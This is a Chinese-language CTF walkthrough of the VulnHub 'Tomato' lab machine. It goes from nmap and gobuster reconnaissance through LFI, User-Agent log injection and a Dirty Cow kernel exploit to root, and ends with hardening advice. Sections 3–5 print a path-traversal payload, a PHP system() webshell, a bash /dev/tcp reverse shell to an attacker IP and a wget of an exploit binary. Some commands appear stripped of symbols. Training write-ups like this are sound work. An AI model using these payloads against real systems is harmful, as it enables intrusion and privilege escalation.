
VulnHub上的Tomato靶机是我印象比较深的一台中档难度虚拟机。这台机器没有花哨的Web应用框架也没有把漏洞写在脸上整个攻击面就只有一个80端口但真正打起来你会发现从信息搜集到Root提权每一步都踩在“常规但有深度”的点上目录爆破发现隐藏路径、LFI配合日志注入拿Shell、老内核脏牛提权。这篇文章把我在Tomato上的完整实验过程复盘一遍重点说清楚每个环节为什么要这么做、有哪些操作细节和踩坑点。如果你刚接触渗透测试想找一台“能练完整链路”的靶机这台非常适合如果你已经打过几台CTF机器也可以看看我在日志注入和提权部分整理的通用套路。先说明一下所有操作只针对VulnHub官方提供的Tomato靶机镜像请在隔离的虚拟环境中实验不要对任何真实系统执行类似操作。1. 靶机环境准备与整体思路1.1 先弄清楚这台靶机到底在考什么VulnHub是一个专门提供合法练手用虚拟机的平台上面的镜像都标注了难度和方向。Tomato这台靶机官方标注中等难度特点是单端口服务、需要自己想办法访问Web入口、最后要拿到root权限。换句话说它不考察花哨的零日漏洞而是考察你对Web常见漏洞的敏感度以及从Web权限一路走到系统最高权限的完整思考链。我第一次把OVA镜像导入VirtualBox时其实踩了个小坑靶机默认不通过DHCP获取IP。这个问题在VulnHub的下载页描述里也提示过。解决方案很简单在虚拟机窗口里用文档中给出的登录凭证进入系统查看网卡配置手动把IP改到与攻击机同一个虚拟网段然后重启网络服务。这里需要提醒的是不同网络模式下IP规划不一样如果用的是NAT模式攻击机和靶机通常都在同一个子网直接用默认网段即可如果用的是Host-Only或自定义VMnet就需要手动指定一个不冲突的地址。1.2 攻击机与靶机的网络连通验证在动手之前先花一分钟确认网络是通的。我通常习惯这样做在Kali里执行ip a确认自己的IP然后用ping target_ip看目标是否存活。如果ping不通不要急着扫先检查两边网卡是否都绑定了同一个虚拟交换机。其实很多测试者在这里容易浮躁觉得“扫一下不就知道了吗”但网络层不通会导致后面的扫描结果全是误判。我在实验时就在这个环节吃过亏一开始靶机没配好IPnmap把本机和其他主机当成了目标白白浪费时间。正确的姿势是先把网络两条链路都确认好再进入扫描阶段。1.3 整体路线规划与工具准备渗透测试最忌讳拿到目标就乱打一通心里一定要有路线图。对这台Tomato我在一开始就把任务拆成了四段信息搜集确认目标IP、开放端口、服务版本Web攻击面挖掘做目录爆破、参数探测、漏洞定位获取初始Shell利用Web层漏洞拿到低权限会话提权到Root做系统信息收集后选择提权漏洞并利用。工具方面不需要太多Kali自带的基本就够nmap用于扫描gobuster或dirsearch用于目录爆破Burp Suite用来细看HTTP请求netcat监听反弹Shellpython3用来起HTTP服务和生成反向连接。后面每一步用什么命令我会在对应章节展开。这个套路不仅适用于Tomato以后遇到任何单端口的Web靶机都可以先按这个框架过一遍心里有了主线挖洞的时候才不会被无关信息带偏。2. 信息搜集阶段把目标摸到最透再动手2.1 主机发现先确认目标在哪里信息搜集的第一步不是拿nmap扫端口而是确认目标主机在网络里的位置。这里我常用两种工具netdiscover -r 192.168.x.0/24基于ARP广播对同一广播域的存活主机识别很干净arp-scan -l效果类似命令更短。因为攻击机和靶机都在同一个虚拟网络里ARP层面的主机发现非常快。扫出来的结果里Kali的地址是已知的另外一个就是靶机IP。这一步的意义不光是找到IP还能顺便排除“目标根本没起来”“网段配错”等环境问题。很多人喜欢跳过主机发现直接扫描网段结果往往把网关、宿主机都当成目标扫出来的信息又杂又乱反而干扰判断。2.2 全端口扫描与对应服务识别确认IP后第二刀直接上nmap全端口扫描。命令我用的是nmap -sS -sV -sC -p- --min-rate 5000 target_ip挨个解释一下我为什么加这些参数。-sS是SYN半开扫描速度快在虚拟靶机里也没必要担心被记录但这是一个好习惯-sV是服务版本识别后面判断漏洞全靠它-sC会跑一遍常见脚本-p-扫描全部65535个TCP端口而不是默认的1000个很多靶机把服务放在高位端口只扫默认端口会翻车--min-rate 5000是加快发包速率全端口扫描不至于等太久。如果对隐蔽性有要求可以把速度调低但靶机场景不需要。在Tomato上结果很直接只有80端口开放运行的是Apache/2.4.6操作系统指纹指向CentOS。没有SSH没有其他高位端口。这说明攻击面被压缩到极致后面所有注意力都应该放在Web服务上。这里有一个经验当你发现目标只有单个Web端口时不要觉得“没意思”反而要意识到所有线索都必须从Web层找目录越隐蔽越要耐心扫。2.3 Web指纹与服务细节分析端口扫描给了基础信息接下来是Web指纹识别。我一般先用whatweb http://target_ip/再用curl查看首页源码最后浏览器打开看渲染效果。Tomato的首页很朴素基本就是默认的Apache测试页源码里也没有明显的CMS痕迹。这个阶段能拿到的关键信息其实有限但有一个点很重要Apache版本是2.4.6。后来提权时我会回头看这个信息因为2.4.6对应的CentOS版本通常比较老内核和系统组件都可能存在历史漏洞。所以这里千万不能马虎凡是扫出来的版本号都记在小本本上后面都能用上。到这一步靶机上只有80端口和Apache默认页直接手工会想不出来怎么继续。下一步必须进入目录级的信息搜集看看Web服务里有没有藏起来的东西。3. Web攻击面挖掘从目录爆破到文件包含3.1 目录字典的选择与爆破面对一个只有默认页的Apache服务第一反应应该是目录爆破。我用的是gobustergobuster dir -u http://target_ip/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50字典选择上为什么用dirbuster的medium而不是更小的common因为靶机故意隐藏了入口普通常见目录里大概率没有用medium能平衡速度和覆盖度。-x php,txt,html是让工具额外尝试这些后缀很多靶机把敏感文件命名为php或txt不加后缀会漏掉。线程-t 50在虚拟机环境里足够快但如果是真实目标不要一开始就开这么大并发容易把目标打挂。爆破结果里最显眼的是一个目录/antibot_image/。看到这个路径名脑子里的第一反应是这像是某个反机器人功能相关的目录里面大概率有脚本和资源文件。这种从命名推测功能的方法很有用能帮你提前预判漏洞方向。3.2 定位文件包含漏洞顺着/antibot_image/目录继续探测会发现里面有一个antibots.php文件。浏览器访问它或者结合目录枚举可以看到脚本接收一个image参数大概是用来动态读取某个图片的。类似这种“用参数控制文件名或路径”的功能就是文件包含漏洞的高发区。我用手工方式做了基础测试curl http://target_ip/antibot_image/antibots.php?image../../../../etc/passwd如果返回中能看到类似root:x:0:0:root:/root:/bin/bash的内容说明LFI成立。在实际测试时可能不会一次成功因为代码里可能对路径做了拼接、过滤或加后缀。常见的绕过手段包括绝对路径、多层../、URL编码来绕过后缀拼接多试几次不要一失败就放弃。Tomato这台靶机经过测试是可以通过路径穿越直接读到文件的。这里我要强调一下文件包含漏洞的价值远不只是读一个配置文件。如果应用在包含PHP文件时会把它当作PHP代码执行那它就是一个不折不扣的远程代码执行入口。后面日志注入接的就是这个点。3.3 用LFI读取敏感信息为日志注入做铺垫确认LFI之后我没有急着挂扫描器而是先用它把“能读什么”摸了一遍。重点看了这几个目标/etc/passwd确认系统上存在哪些用户账号判断是哪种发行版风格/proc/self/environ这个文件会把进程的环境变量完整暴露出来其中包含HTTP请求头里传入的User-Agent、Referer等字段/var/log/httpd/access_log确认Apache访问日志路径是否存在、写的是什么格式。这个环节有一个至关重要的发现Web服务会把User-Agent直接写进进程环境变量或访问日志。也就是说只要我在构造请求时把User-Agent改成PHP代码再通过LFI去包含包含这些信息的文件这段PHP代码就可能被服务器解析执行。这就是“日志注入”或“环境变量注入”的原理也是从LFI走向RCE最经典的一条路。4. 日志注入打Shell从文件包含到命令执行4.1 构造带PHP代码的User-Agent日志注入的第一步是找一个会被记录且内容可控的位置。在Tomato上我选择在User-Agent字段里写入PHP代码。为什么不选Referer因为User-Agent最稳定几乎所有请求都会有而且不太会被防火墙关注。构造的PHP代码很简单?php system($_GET[cmd]); ?但是在实际发送时不能直接这么发因为?php里的尖括号和问号在HTTP头里偶尔会被中间层处理。更稳妥的做法是把整段代码做URL编码放进User-Agent里发送。我测试时用的是curl加-A参数把恶意User-Agent发过去同时用LFI去包含/proc/self/environ然后再请求一个带cmd参数的URL比如cmdid。如果返回结果里出现类似uid48(apache)这样的输出说明代码已经在服务器上被执行了。这一步的成功等于拿到了一个命令注入口但还只是一个盘踞在Web进程里的执行点交互性很差必须升级成完整Shell。4.2 用WebShell入口验证命令执行为了避免每次都要在User-Agent里塞代码很多人在这一步会先写入一个简单的WebShell文件。我当时也这么干了利用命令执行写一个一句话脚本到网站目录下然后访问验证。写入WebShell的好处是后面调试提权时不用反复打日志稳定得多。不过要注意这种文件在真实场景里会被WAF和文件监控盯上靶机里则无所谓。如果目标目录没有写权限就需要把命令执行点维持在高频日志注入的状态继续后续操作。这里还有一个细节命令执行点里如果写了system($_GET[cmd])这类函数那么URL里的cmd参数会成为命令入口传什么就执行什么非常直接。但也因为这种WebShell太直白很多应用会把system、exec、shell_exec列入禁用函数列表遇到的话就得换assert、preg_replace之类的歪路子不过Tomato上不需要这么折腾。4.3 反弹反向Shell并稳定TTY有了命令执行下一步就是把Shell弹出来。为什么不直接用WebShell因为每次执行都要经过HTTP请求遇到需要交互的提权程序会很痛苦而且超时断连很常见。反向Shell是更稳妥的后继方案。攻击机先开监听nc -lvnp 4444然后在目标上用命令执行点发起反向连接。这里我常用的是bash方式bash -i /dev/tcp/192.168.x.x/4444 01在通过HTTP的cmd参数执行这个命令时需要先做URL编码因为、、这些字符在URL里有特殊含义。我一般习惯用Python的urllib.parse.quote快速转一下或者直接在Burp Suite里改请求。若bash路径受限可以用python3 -c import socket...这类替代姿势但思路都是一样的让目标主动连回攻击机。监听端收到会话后会看到一个不太友好的$提示符。接下来用Python生成一个完整的PTY把Shell变成交互式终端这样后续使用vim、su、运行交互式提权脚本时才不会被卡住python3 -c import pty;pty.spawn(/bin/bash)输入后按CtrlZ把当前任务挂起在攻击机本地执行stty raw -echo fg export TERMxterm这几条命令做完Shell会变成带命令补全和标准行编辑的交互终端。很多新手在这一步直接跳过后面提权时用vim改脚本就特别痛苦建议不要省。5. 提权到Root老内核的经典一击5.1 提权前的信息收集清单拿到Shell之后先跑一组标准信息收集命令确认系统的提权面id uname -a cat /etc/*release sudo -l find / -perm -4000 -type f 2/dev/null crontab -l cat /etc/passwd逐条说下为什么看这些。uname -a和/etc/*release用来确认内核版本和发行版这是找内核提权漏洞的依据。Tomato上显示内核版本是2.6.32发行版是CentOS 6.x看到这个版本我立刻想到老经典Dirty Cow。sudo -l检查当前用户是否有sudo权限如果配置宽松可能直接sudo提权实际测试中能看到NOPASSWD就越权但在Tomato上这条没走通返回的是没有可用的sudo条目。find / -perm -4000排查SUID文件那些以root身份运行但允许普通用户执行的文件是经典提权点比如/usr/bin/passwd之类不过Tomato上也没有明显可利用的SUID问题。cat /etc/passwd则是看有没有可直接用的账号或可破解的哈希这一项信息量不大。真实测试里可能一项就能直接提权也可能全部落空但对Tomato来说最显眼的是内核版本。5.2 Dirty Cow漏洞原理与编译上传Dirty CowCVE-2016-5195是一个基于Linux内核竞态条件的漏洞。简单说利用它可以在只读内存映射上写入数据进而修改只读文件内容。攻击者通过修改/etc/passwd可以创建一个拥有root权限的新用户或者把root密码改成自己知道的密码。我使用的方式在攻击机上找一份Dirty Cow提权代码在Kali本地交叉编译后上传到目标机。为什么不在目标机上直接编译因为Tomato这台靶机的系统里可能没有安装gcc和make就算有构建时间也会很长。先在攻击机编译再用Python的HTTP服务把编译好的二进制传过去是最省事的方式。上传方法很简单目标机上执行wget http://192.168.x.x:8000/dirty chmod x dirty如果目标环境没有wget也可以用curl都不行就用base64编码后粘贴。这个过程虽然基础但很能体现一名测试者的环境适应能力。5.3 运行exp拿到root权限并验证Dirty Cow的exp运行起来比较直接。我当时执行的命令是./dirty newpassword运行后有时系统会显示进程被暂停或内核报错这是漏洞利用成功后系统在刷写内存页的正常现象等一两分钟再用新账号登录。我当时执行完后/etc/passwd里已经多了一个带root权限的新用户一般是firefart这个名字密码就是命令行传入的那个。然后执行su firefart输入设置的密码后运行id可以看到uid0(root)整个提权链条走通。这里有一个坑提醒不同版本的Dirty Cow exp行为不同有的直接在/etc/passwd中添加用户有的直接修改root密码。运行前先看代码里的注释确认它会怎么改系统。如果exp卡住不动多半是版本和内核不匹配换一个针对2.6.32的版本试试。我在实验时第一次就换了个版本才成功所以不用一上来就怀疑自己操作有误。6. 复盘与防守视角下的加固建议6.1 攻击路径复盘这台Tomato的攻击链其实只有三段Web层LFI、日志注入RCE、内核提权。每段单独看都不是新东西组合起来却能打穿一台看似只有默认页的服务器。阶段关键入口漏洞类型造成的后果信息搜集全端口扫描暴露唯一Web入口攻击面确认Web攻击面目录爆破发现隐藏脚本目录找到LFI参数命令执行LFI日志注入动态包含未校验获得Web权限Shell提权内核版本过旧Dirty Cow直接拿到root复盘时最有价值的一点是这台机器没有被某个复杂的零日漏洞打穿而是被一连串低危中危的问题组合击穿。文件包含、日志记录用户输入、系统不更新三个问题单独看都不致命串在一起就变成从外部到root的直达通道。6.2 从这台靶机学到的加固经验站在防守方角度这台靶机给出来的教训非常典型。严格限制文件包含参数所有包含的文件名应走白名单不接受用户传入的路径做不到就关闭动态包含改用静态引用。让日志变得“不可执行”日志应过滤或转义可能包含的代码字符避免把用户可控字段原样写入会被解析的位置。及时更新系统组件内核和Web服务必须持续打补丁Dirty Cow的修复补丁很早就发布了只要做过系统更新这台机器就不会被这个漏洞拿下。还有一点是最小化Web运行权限Web服务账号不应该有向网站目录写入文件的权限限制PHP执行系统命令的常用函数也能有效阻断后续反弹Shell。如果你做过一次完整攻击链还原你会发现这些加固建议不是书本上的空话每一条都对应着攻击者的一个关键转折点。比如限制文件包含攻击者的第一步就断在这里过滤日志输入命令执行就失去载体禁用危险函数反弹Shell就被卡住。6.3 一次靶机之后还能做什么打完Tomato不要急着换下一台。我建议做三件收尾工作把命令日志和思路整理成笔记重点记录什么信息让我决定下一步怎么做复盘那些卡住的环节想清楚如果再遇到类似场景第一反应应该是什么尝试不用Dirty Cow换其他提权思路重新打一遍看这台机器上还有没有别的路能到root。这种一鱼多吃的练法比连续刷十台简单靶机更能提升实战感知。我个人的体会是渗透测试的核心能力不是背exp而是面对一个受限环境时能快速判断哪条路走得通。Tomato正好给了你一个非常标准的训练样本把这条链路吃透以后遇到单端口Web服务的老系统你脑子里会自动浮现出一整套流程来。